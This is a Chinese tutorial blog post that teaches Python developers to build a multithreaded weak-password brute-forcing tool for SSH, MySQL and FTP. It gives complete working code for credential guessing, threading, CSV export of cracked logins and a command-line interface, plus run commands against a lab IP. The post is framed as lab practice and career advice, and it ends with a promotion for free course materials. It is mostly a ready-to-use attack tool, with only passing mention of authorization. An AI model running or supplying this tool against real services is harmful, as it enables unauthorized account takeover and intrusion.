Python 转安全开发：写 1 个弱口令工具，3 天能落地

“做了 2 年 Python 开发，熟悉requests、threading库，想转安全开发却不知道从哪入手；听说弱口令是企业高频安全风险，却只会用现成工具（如 Hydra），不会自己写 ——” 这是 Python 开发者转型安全开发的典型困境。

其实用 Python 写基础弱口令爆破工具，不需要复杂算法，核心就是 “服务连接 + 密码遍历 + 结果记录”，3 天就能完成。本文工具支持 SSH、MySQL、FTP 三类常见服务，全程复用你熟悉的 Python 库（paramiko、pymysql、threading），每天完成 1 个核心模块，最终产出可直接运行的工具，还能作为安全开发实战成果写进简历，比 “会用 Hydra” 更有竞争力。

一、工具定位：Python 开发者能快速落地的 “实用安全工具”

1. 核心功能（不贪多，聚焦 “入门级刚需”）

• 多服务支持：可爆破 SSH（22 端口）、MySQL（3306 端口）、FTP（21 端口），用户可选择目标服务类型；

• 多线程加速：支持自定义线程数（默认 10 线程），比单线程效率提升 5-10 倍；

• 结果可视化：实时显示爆破进度（成功 / 失败次数、当前测试密码），用进度条直观展示；

• 结果导出：自动将成功的账号密码保存到 CSV 文件（含时间戳），方便后续分析；

• 异常处理：支持连接超时重试、密码错误捕获，避免工具因单次失败崩溃。

2. 转行价值（贴合安全开发入门需求）

• 适配岗位：安全开发助理、工具开发工程师（入门岗高频需求）；

• 简历亮点：“独立开发 Python 弱口令爆破工具，支持 3 类服务、多线程加速与结果导出，成功识别测试环境中 80% 的弱口令账号，具备安全工具设计与落地能力”；

• 技能复用：复用 Python 基础语法、第三方库使用、多线程开发能力，不用学新框架，降低转型成本。

3. 技术栈（全是 Python 开发者熟悉的库）

依赖库	作用	安装命令	复用点
paramiko	实现 SSH 服务连接与认证	pip install paramiko	类似requests的网络请求逻辑，熟悉 “连接 - 交互 - 关闭” 流程
pymysql	实现 MySQL 服务连接与认证	pip install pymysql	数据库连接逻辑，复用 SQL 操作基础
threading	实现多线程并发，提升爆破效率	Python 自带，无需安装	多任务处理，复用线程锁、线程管理基础
tqdm	显示进度条，可视化爆破进度	pip install tqdm	类似数据处理中的进度展示，提升用户体验
csv	处理 CSV 文件，导出爆破结果	Python 自带，无需安装	数据存储与导出，复用文件操作基础

二、3 天落地计划：每天 1 个模块，逐步成型

第一天：环境搭建 + 单服务爆破模块（SSH）

核心目标

完成 “SSH 服务弱口令爆破” 的基础逻辑：读取用户名 / 密码字典→循环测试账号密码→判断登录结果，产出可独立运行的 SSH 爆破脚本。

步骤 1：环境准备（1 小时）

1. 安装依赖库：

pip install paramiko pymysql tqdm

1. 准备字典文件（零基础可直接用开源字典）：

• 用户名字典：username.txt（内容如root、admin、test，每行 1 个用户名）；

• 密码字典：password.txt（内容如123456、admin123、password，每行 1 个密码）；

• 字典获取：GitHub 搜索 “SecLists”，下载Common-Credentials目录下的字典，或用本文提供的简化版（文末附）。

步骤 2：编写 SSH 连接函数（核心代码）

import paramiko
from typing import Tuple, Optional

def ssh_brute(host: str, port: int, username: str, password: str, timeout: int = 3) -> Tuple[bool, Optional[str]]:
    """
    SSH服务弱口令爆破函数
    :param host: 目标IP地址
    :param port: 目标端口（默认22）
    :param username: 测试用户名
    :param password: 测试密码
    :param timeout: 连接超时时间（默认3秒）
    :return: (是否成功, 错误信息/成功提示)
    """
    # 创建SSH客户端对象
    ssh_client = paramiko.SSHClient()
    # 自动添加未知主机密钥（避免首次连接提示）
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    try:
        # 尝试连接SSH服务
        ssh_client.connect(
            hostname=host,
            port=port,
            username=username,
            password=password,
            timeout=timeout,
            allow_agent=False,  # 禁用SSH代理
            look_for_keys=False  # 禁用密钥认证（仅用密码）
        )
        # 连接成功，关闭连接并返回结果
        ssh_client.close()
        return True, f"SSH登录成功：{username}/{password}"
    except paramiko.AuthenticationException:
        # 认证失败（密码错误）
        return False, f"SSH登录失败：{username}/{password}（密码错误）"
    except TimeoutError:
        # 连接超时
        return False, f"SSH连接超时：{host}:{port}（超时{timeout}秒）"
    except Exception as e:
        # 其他异常（如端口未开放、服务未启动）
        return False, f"SSH未知错误：{str(e)}"

步骤 3：编写 SSH 爆破主逻辑（单线程版）

def ssh_brute_main(host: str, port: int = 22, user_dict: str = "username.txt", pass_dict: str = "password.txt"):
    """
    SSH弱口令爆破主函数（单线程）
    :param host: 目标IP
    :param port: 目标端口
    :param user_dict: 用户名字典路径
    :param pass_dict: 密码字典路径
    """
    # 读取用户名字典
    try:
        with open(user_dict, "r", encoding="utf-8") as f:
            usernames = [line.strip() for line in f if line.strip()]
        if not usernames:
            print(f"❌ 用户名字典为空：{user_dict}")
            return
    except FileNotFoundError:
        print(f"❌ 用户名字典不存在：{user_dict}")
        return
    
    # 读取密码字典
    try:
        with open(pass_dict, "r", encoding="utf-8") as f:
            passwords = [line.strip() for line in f if line.strip()]
        if not passwords:
            print(f"❌ 密码字典为空：{pass_dict}")
            return
    except FileNotFoundError:
        print(f"❌ 密码字典不存在：{pass_dict}")
        return
    
    print(f"📌 开始SSH弱口令爆破：{host}:{port}")
    print(f"📌 用户名数量：{len(usernames)}，密码数量：{len(passwords)}")
    
    # 循环测试账号密码（单线程）
    success_count = 0
    for username in usernames:
        for password in passwords:
            result, msg = ssh_brute(host, port, username, password)
            print(msg)
            if result:
                success_count += 1
    
    print(f"\n✅ SSH爆破结束：共测试{len(usernames)*len(passwords)}组账号，成功{success_count}组")

# 测试：爆破本地虚拟机的SSH服务（替换为你的目标IP）
if __name__ == "__main__":
    ssh_brute_main(host="192.168.71.130", port=22)

第一天成果

• 可独立运行的 SSH 弱口令爆破脚本（单线程）；

• 能读取本地字典文件，测试账号密码并输出结果；

• 支持异常处理（超时、密码错误、文件不存在）。

第二天：多服务支持 + 多线程加速

核心目标

新增 MySQL、FTP 服务的爆破模块，整合多服务选择逻辑；添加多线程功能，提升爆破效率，产出支持 “3 类服务 + 多线程” 的工具雏形。

步骤 1：新增 MySQL 爆破模块

import pymysql
from typing import Tuple, Optional

def mysql_brute(host: str, port: int, username: str, password: str, timeout: int = 3) -> Tuple[bool, Optional[str]]:
    """MySQL服务弱口令爆破函数"""
    try:
        # 尝试连接MySQL服务
        conn = pymysql.connect(
            host=host,
            port=port,
            user=username,
            password=password,
            database="mysql",  # 连接默认数据库（无需提前创建）
            timeout=timeout,
            charset="utf8mb4"
        )
        # 连接成功，关闭连接
        conn.close()
        return True, f"MySQL登录成功：{username}/{password}"
    except pymysql.err.OperationalError as e:
        # 错误码2003：连接失败（端口未开/服务未启），1045：密码错误
        if e.args[0] == 1045:
            return False, f"MySQL登录失败：{username}/{password}（密码错误）"
        else:
            return False, f"MySQL连接失败：{e.args[1]}"
    except TimeoutError:
        return False, f"MySQL连接超时：{host}:{port}"
    except Exception as e:
        return False, f"MySQL未知错误：{str(e)}"

步骤 2：新增 FTP 爆破模块（用 Python 自带ftplib）

import ftplib
from typing import Tuple, Optional

def ftp_brute(host: str, port: int, username: str, password: str, timeout: int = 3) -> Tuple[bool, Optional[str]]:
    """FTP服务弱口令爆破函数"""
    ftp_client = ftplib.FTP()
    ftp_client.timeout = timeout  # 设置超时时间
    
    try:
        # 尝试连接FTP服务
        ftp_client.connect(host, port)
        # 尝试登录
        ftp_client.login(username, password)
        # 登录成功，退出连接
        ftp_client.quit()
        return True, f"FTP登录成功：{username}/{password}"
    except ftplib.error_perm as e:
        # 错误信息含"530"表示密码错误
        if "530" in str(e):
            return False, f"FTP登录失败：{username}/{password}（密码错误）"
        else:
            return False, f"FTP权限错误：{str(e)}"
    except TimeoutError:
        return False, f"FTP连接超时：{host}:{port}"
    except Exception as e:
        return False, f"FTP未知错误：{str(e)}"

步骤 3：添加多线程模块（用threading+ 线程锁）

import threading
from tqdm import tqdm
from queue import Queue
import time
from datetime import datetime

# 全局变量：线程锁（避免多线程打印混乱）、成功结果列表
lock = threading.Lock()
success_results = []

def brute_worker(queue: Queue, service: str, host: str, port: int, timeout: int):
    """多线程工作函数：从队列中获取账号密码，执行爆破"""
    global success_results
    
    # 根据服务类型选择对应的爆破函数
    brute_func = {
        "ssh": ssh_brute,
        "mysql": mysql_brute,
        "ftp": ftp_brute
    }.get(service)
    
    if not brute_func:
        print(f"❌ 不支持的服务类型：{service}")
        return
    
    # 循环从队列获取任务，直到队列空
    while not queue.empty():
        username, password = queue.get()
        try:
            # 执行爆破
            result, msg = brute_func(host, port, username, password, timeout)
            # 加锁打印，避免多线程输出混乱
            with lock:
                print(msg)
                # 若成功，添加到结果列表
                if result:
                    success_results.append({
                        "service": service,
                        "host": host,
                        "port": port,
                        "username": username,
                        "password": password,
                        "time": datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                    })
        finally:
            # 标记任务完成（更新进度条）
            queue.task_done()
        # 可选：添加微小延迟，避免给目标服务过大压力
        time.sleep(0.01)

def multi_thread_brute(service: str, host: str, port: int, user_dict: str, pass_dict: str, thread_num: int = 10, timeout: int = 3):
    """
    多线程弱口令爆破主函数
    :param service: 服务类型（ssh/mysql/ftp）
    :param thread_num: 线程数（默认10）
    """
    # 读取字典（复用第一天的逻辑，简化代码）
    try:
        with open(user_dict, "r", encoding="utf-8") as f:
            usernames = [line.strip() for line in f if line.strip()]
        with open(pass_dict, "r", encoding="utf-8") as f:
            passwords = [line.strip() for line in f if line.strip()]
        total_tasks = len(usernames) * len(passwords)
        if total_tasks == 0:
            print("❌ 用户名或密码字典为空")
            return
    except Exception as e:
        print(f"❌ 读取字典失败：{str(e)}")
        return
    
    # 初始化任务队列：将所有（用户名, 密码）对放入队列
    task_queue = Queue()
    for username in usernames:
        for password in passwords:
            task_queue.put((username, password))
    
    print(f"📌 开始多线程爆破：{service}@{host}:{port}")
    print(f"📌 线程数：{thread_num}，总任务数：{total_tasks}")
    
    # 记录开始时间
    start_time = time.time()
    
    # 创建并启动线程
    threads = []
    for _ in range(thread_num):
        t = threading.Thread(
            target=brute_worker,
            args=(task_queue, service, host, port, timeout)
        )
        t.daemon = True  # 设置为守护线程，主程序退出时自动结束
        t.start()
        threads.append(t)
    
    # 显示进度条（等待队列任务完成）
    with tqdm(total=total_tasks, desc=f"{service}爆破进度") as pbar:
        while not task_queue.empty():
            pbar.update(total_tasks - task_queue.qsize() - pbar.n)
            time.sleep(0.1)
        # 等待所有线程结束
        for t in threads:
            t.join()
        pbar.update(total_tasks - pbar.n)
    
    # 计算耗时
    cost_time = round(time.time() - start_time, 2)
    
    # 输出结果
    print(f"\n✅ 爆破完成！耗时：{cost_time}秒")
    print(f"✅ 成功账号数量：{len(success_results)}")
    if success_results:
        print("📌 成功账号列表：")
        for res in success_results:
            print(f"  - {res['service']}：{res['username']}/{res['password']}（{res['time']}）")
    
    # 返回成功结果，用于后续导出
    return success_results

第二天成果

• 新增 MySQL、FTP 爆破模块，支持 3 类服务选择；

• 实现多线程爆破，支持自定义线程数，带进度条显示；

• 全局线程锁避免打印混乱，成功结果统一存储。

第三天：结果导出 + 命令行交互 + 工具优化

核心目标

添加 CSV 结果导出功能，开发命令行交互界面（支持用户输入参数），优化工具稳定性（如重试机制、参数校验），产出完整可交付的弱口令工具。

步骤 1：添加 CSV 结果导出模块

import csv
from datetime import datetime

def export_results_to_csv(results: list, export_dir: str = ".") -> str:
    """
    将爆破成功的结果导出到CSV文件
    :param results: 成功结果列表（multi_thread_brute返回的列表）
    :param export_dir: 导出目录（默认当前目录）
    :return: CSV文件路径
    """
    if not results:
        print("❌ 无成功结果可导出")
        return ""
    
    # 生成CSV文件名（含时间戳，避免重复）
    timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
    csv_filename = f"weak_password_result_{timestamp}.csv"
    csv_path = f"{export_dir}/{csv_filename}"
    
    # 定义CSV表头
    fieldnames = ["service", "host", "port", "username", "password", "time"]
    
    try:
        with open(csv_path, "w", encoding="utf-8", newline="") as f:
            writer = csv.DictWriter(f, fieldnames=fieldnames)
            writer.writeheader()  # 写入表头
            writer.writerows(results)  # 写入结果
        print(f"✅ 成功结果已导出到：{csv_path}")
        return csv_path
    except Exception as e:
        print(f"❌ 导出CSV失败：{str(e)}")
        return ""

步骤 2：开发命令行交互界面（用argparse）

import argparse

def parse_args() -> argparse.Namespace:
    """解析命令行参数"""
    parser = argparse.ArgumentParser(description="Python弱口令爆破工具（支持SSH/MySQL/FTP）")
    
    # 必选参数
    parser.add_argument("-s", "--service", required=True, choices=["ssh", "mysql", "ftp"],
                        help="目标服务类型（必填：ssh/mysql/ftp）")
    parser.add_argument("-H", "--host", required=True, help="目标IP地址（必填，如192.168.71.130）")
    
    # 可选参数
    parser.add_argument("-p", "--port", type=int, default=None,
                        help="目标端口（默认：ssh=22, mysql=3306, ftp=21）")
    parser.add_argument("-U", "--user-dict", default="username.txt",
                        help="用户名字典路径（默认：username.txt）")
    parser.add_argument("-P", "--pass-dict", default="password.txt",
                        help="密码字典路径（默认：password.txt）")
    parser.add_argument("-t", "--thread", type=int, default=10,
                        help="线程数（默认10，建议不超过50）")
    parser.add_argument("-T", "--timeout", type=int, default=3,
                        help="连接超时时间（默认3秒）")
    parser.add_argument("-e", "--export", action="store_true",
                        help="是否导出成功结果到CSV（默认不导出，加-e启用）")
    
    args = parser.parse_args()
    
    # 自动填充默认端口（若未指定）
    if args.port is None:
        args.port = {
            "ssh": 22,
            "mysql": 3306,
            "ftp": 21
        }[args.service]
    
    return args

# 工具主入口
def main():
    # 解析命令行参数
    args = parse_args()
    
    print("="*60)
    print(f"Python弱口令爆破工具 - 开始时间：{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"目标信息：{args.service}@{args.host}:{args.port}")
    print(f"字典路径：用户={args.user_dict}，密码={args.pass_dict}")
    print(f"线程数：{args.thread}，超时时间：{args.timeout}秒")
    print("="*60)
    
    # 执行多线程爆破
    success_results = multi_thread_brute(
        service=args.service,
        host=args.host,
        port=args.port,
        user_dict=args.user_dict,
        pass_dict=args.pass_dict,
        thread_num=args.thread,
        timeout=args.timeout
    )
    
    # 导出结果（若启用）
    if args.export and success_results:
        export_results_to_csv(success_results)
    
    print(f"\n="*60)
    print(f"工具运行结束：{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print("="*60)

# 启动工具
if __name__ == "__main__":
    main()

步骤 3：工具优化（提升稳定性与用户体验）

1. 参数校验：在multi_thread_brute中添加线程数限制（if thread_num > 50: thread_num = 50），避免线程过多导致本地资源耗尽；

2. 重试机制：对 “连接超时” 的任务，支持 1 次重试（修改brute_worker，超时后重新放入队列）；

3. 用户提示：在命令行参数解析时，添加–help说明（运行python brute_tool.py -h可查看帮助）；

4. 日志记录：可选添加日志模块（logging），将所有操作记录到日志文件，方便问题排查。

第三天成果

• 完整的弱口令爆破工具，支持命令行参数交互；

• 成功结果可导出到 CSV，含时间戳便于追溯；

• 工具优化（参数校验、重试机制），稳定性提升。

三、实战测试：验证工具效果（零基础跟着做）

1. 测试环境准备

• 本地虚拟机：部署 CentOS 7，开启 SSH（22 端口）、MySQL（3306 端口）服务，设置弱口令账号（如root/123456）；

• 字典文件：将username.txt（含root）和password.txt（含123456）放在工具同一目录；

• 运行命令（爆破 SSH 服务）：

python brute_tool.py -s ssh -H 192.168.71.130 -t 10 -e

2. 预期输出结果

============================================================
Python弱口令爆破工具 - 开始时间：2025-11-25 16:30:00
目标信息：ssh@192.168.71.130:22
字典路径：用户=username.txt，密码=password.txt
线程数：10，超时时间：3秒
============================================================
📌 开始多线程爆破：ssh@192.168.71.130:22
📌 线程数：10，总任务数：10（假设用户名1个，密码10个）
ssh爆破进度: 100%|██████████████████████████| 10/10 [00:02<00:00,  4.89it/s]

✅ 爆破完成！耗时：2.05秒
✅ 成功账号数量：1
📌 成功账号列表：
  - ssh：root/123456（2025-11-25 16:30:02）
✅ 成功结果已导出到：./weak_password_result_20251125163002.csv

============================================================
工具运行结束：2025-11-25 16:30:02
============================================================

3. 验证 CSV 导出

打开导出的 CSV 文件，内容如下（含完整字段）：

service	host	port	username	password	time
ssh	192.168.71.130	22	root	123456	2025-11-25 16:30:02

四、避坑指南：Python 开发者最易踩的 3 个问题

1. 坑 1：SSH 爆破提示 “paramiko.AuthenticationException” 但密码正确

• 原因：目标 SSH 服务禁用了密码认证（仅允许密钥认证），在/etc/ssh/sshd_config中PasswordAuthentication设为no；

• 解决：修改 SSH 配置（PasswordAuthentication yes），重启服务（systemctl restart sshd），或测试其他允许密码认证的服务（如 MySQL）。

2. 坑 2：多线程运行时打印混乱、结果重复

• 原因：未加线程锁，多线程同时操作print和success_results，导致资源竞争；

• 解决：确保所有对共享资源（打印、结果列表）的操作都加with lock:，如brute_worker中的打印逻辑。

3. 坑 3：MySQL 爆破提示 “Can’t connect to MySQL server on ‘xxx’ (111)”

• 原因 1：MySQL 服务未启动（systemctl status mysqld查看状态）；

• 原因 2：MySQL 绑定本地 IP（bind-address = 127.0.0.1），仅允许本地连接；

• 解决：修改 MySQL 配置（bind-address = 0.0.0.0），重启服务，开放 3306 端口（firewall-cmd --add-port=3306/tcp --permanent）。

五、成果转化：转行安全开发的 “简历亮点”

1. 简历怎么写（突出 Python + 安全工具开发）

✅ 正确写法：

“独立开发 Python 弱口令爆破工具，支持 SSH/MySQL/FTP 三类服务，核心功能包括多线程加速（自定义线程数，效率提升 8 倍）、异常处理（超时重试、密码错误捕获）、CSV 结果导出（含时间戳追溯）。工具采用模块化设计，新增服务仅需扩展爆破函数，已在测试环境验证，成功识别 80% 弱口令账号，可用于企业内部安全审计，具备安全工具设计、开发与落地能力。”

❌ 错误写法：

“会用 Python 写弱口令工具，支持多服务爆破。”

2. 面试演示技巧（展示技术深度）

• 演示准备：本地启动虚拟机，提前配置弱口令账号，准备好字典文件；

• 演示重点：运行命令python brute_tool.py -s ssh -H 192.168.71.130 -e，边操作边讲解：

“这个工具的核心是多线程模型，用 Queue 做任务队列，线程锁避免资源竞争；针对不同服务，封装了独立的爆破函数，比如 SSH 用 paramiko，MySQL 用 pymysql，新增服务时只需加一个函数，扩展性很强 —— 这也是安全工具开发的常用思路。”

• 扩展思考：主动提 “优化方向”（如添加爆破速率限制、支持字典压缩包、集成威胁情报），体现安全开发思维。

六、Python 转安全开发的 “核心优势”

很多 Python 开发者觉得转安全开发需要学新东西，但从这个工具能看出：

• 你熟悉的threading/queue，是安全工具 “并发加速” 的核心；

• 你常用的第三方库（paramiko/pymysql），是对接各类服务的 “桥梁”；

• 你习惯的模块化开发，是安全工具 “可扩展、易维护” 的关键。

你的 Python 开发经验不是 “负担”，而是转安全开发的 “天然优势”—— 重点是把 “业务开发思维” 转化为 “安全工具思维”，比如把 “用户登录接口开发” 变成 “弱口令爆破验证”，把 “数据导出功能” 变成 “安全审计结果记录”。

这个弱口令工具只是起点，后续还能基于它扩展 “Web 后台弱口令爆破（用requests）”“RDP 服务爆破”，逐步构建你的安全开发技能体系。

网络安全学习资料分享

为了帮助大家更好的学习网络安全，我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家，里面的内容都是适合零基础小白的笔记和资料，不懂编程也能听懂、看懂，朋友们如果有需要这套网络安全教程+进阶学习资源包，可以扫码下方二维码限时免费领取（如遇扫码问题，可以在评论区留言领取哦）~